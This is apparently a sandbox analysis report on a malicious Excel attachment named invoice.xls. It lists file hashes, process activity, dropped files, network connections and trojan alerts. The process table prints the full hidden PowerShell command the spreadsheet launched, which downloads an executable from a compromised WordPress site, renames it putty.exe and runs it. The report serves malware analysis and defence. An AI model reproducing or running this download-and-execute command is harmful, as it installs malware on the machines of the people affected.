| File name: | invoice.xls |
| Full analysis: | https://app.any.run/tasks/1f0ade7a-f4d7-4893-bba9-e243a1de4b66 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | September 30, 2020, 01:50:03 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: PC, Last Saved By: PC, Create Time/Date: Tue Sep 15 06:06:38 2020, Last Saved Time/Date: Tue Sep 15 06:06:39 2020, Security: 0 |
| MD5: | 266BB9364A80F6FE3BC88AD7A066D9D2 |
| SHA1: | E2A3557AA1C9B902196367517598A643C6A87B40 |
| SHA256: | 56AE8F22B7E4369050BD1663B8C5550522A17125BACB878E1F7D4CED0616B409 |
| SSDEEP: | 1536:bk3hOdsylKlgryzc4bNhZFGzE+cL2knzDP0deTouY6+pd08nsfzBuyZeBMN6LC19:bk3hOdsylKlgryzc4bNhZFGzE+cL2knv |
MALICIOUS
Executes PowerShell scripts
- EXCEL.EXE (PID: 2124)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2124)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2816)
INFO
Creates files in the user directory
- EXCEL.EXE (PID: 2124)
Reads Internet Cache Settings
- EXCEL.EXE (PID: 2124)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| Author: | PC |
|---|---|
| LastModifiedBy: | PC |
| CreateDate: | 2020:09:15 05:06:38 |
| ModifyDate: | 2020:09:15 05:06:39 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | Sheet 1 |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 31 |
| CompObjUserType: | Microsoft Excel 2003 Worksheet |
Total processes
39
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2124 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2816 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://nandaheritage.com/wp-admin/includes/Fud222222.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe') | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EXCEL.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
17 289
Read events
8 162
Write events
9 116
Delete events
11
Modification events
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | t{" |
Value: 747B22004C080000010000000000000000000000 | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2124) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
0
Suspicious files
5
Text files
3
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRAB74.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2816 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5347JQHBMGEV46E6YW5I.temp | — | |
MD5:— | SHA256:— | |||
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6Z2BCOUL\config14[1].xml | — | |
MD5:— | SHA256:— | |||
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\Cab98B3.tmp | — | |
MD5:— | SHA256:— | |||
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\Tar98B4.tmp | — | |
MD5:— | SHA256:— | |||
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\invoice.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2816 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ab595.TMP | binary | |
MD5:— | SHA256:— | |||
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\ONetConfig\786b7d3a5372048de949b5ce333fe46e.sig | binary | |
MD5:— | SHA256:— | |||
| 2124 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2816 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
4
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2124 | EXCEL.EXE | GET | 200 | 52.109.76.6:80 | http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={538F6C89-2AD5-4006-8154-C6670774E980}&build=14.0.6023 | IE | xml | 1.99 Kb | whitelisted |
2816 | powershell.exe | GET | 403 | 61.47.2.145:80 | http://nandaheritage.com/wp-admin/includes/Fud222222.exe | SG | html | 962 b | malicious |
2124 | EXCEL.EXE | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAtqs7A%2Bsan2xGCSaqjN%2FrM%3D | US | der | 1.47 Kb | whitelisted |
1052 | svchost.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAo3h2ReX7SMIk79G%2B0UDDw%3D | US | der | 1.47 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2124 | EXCEL.EXE | 52.109.76.6:80 | office14client.microsoft.com | Microsoft Corporation | IE | whitelisted |
2124 | EXCEL.EXE | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
1052 | svchost.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
2124 | EXCEL.EXE | 52.109.120.28:443 | rr.office.microsoft.com | Microsoft Corporation | HK | whitelisted |
2816 | powershell.exe | 61.47.2.145:80 | nandaheritage.com | Pacific Internet (Thailand) Ltd | SG | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
nandaheritage.com |
| malicious |
office14client.microsoft.com |
| whitelisted |
rr.office.microsoft.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2816 | powershell.exe | A Network Trojan was detected | ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious |
2816 | powershell.exe | A Network Trojan was detected | AV TROJAN Possible infected Wordpress - Payload download attempt |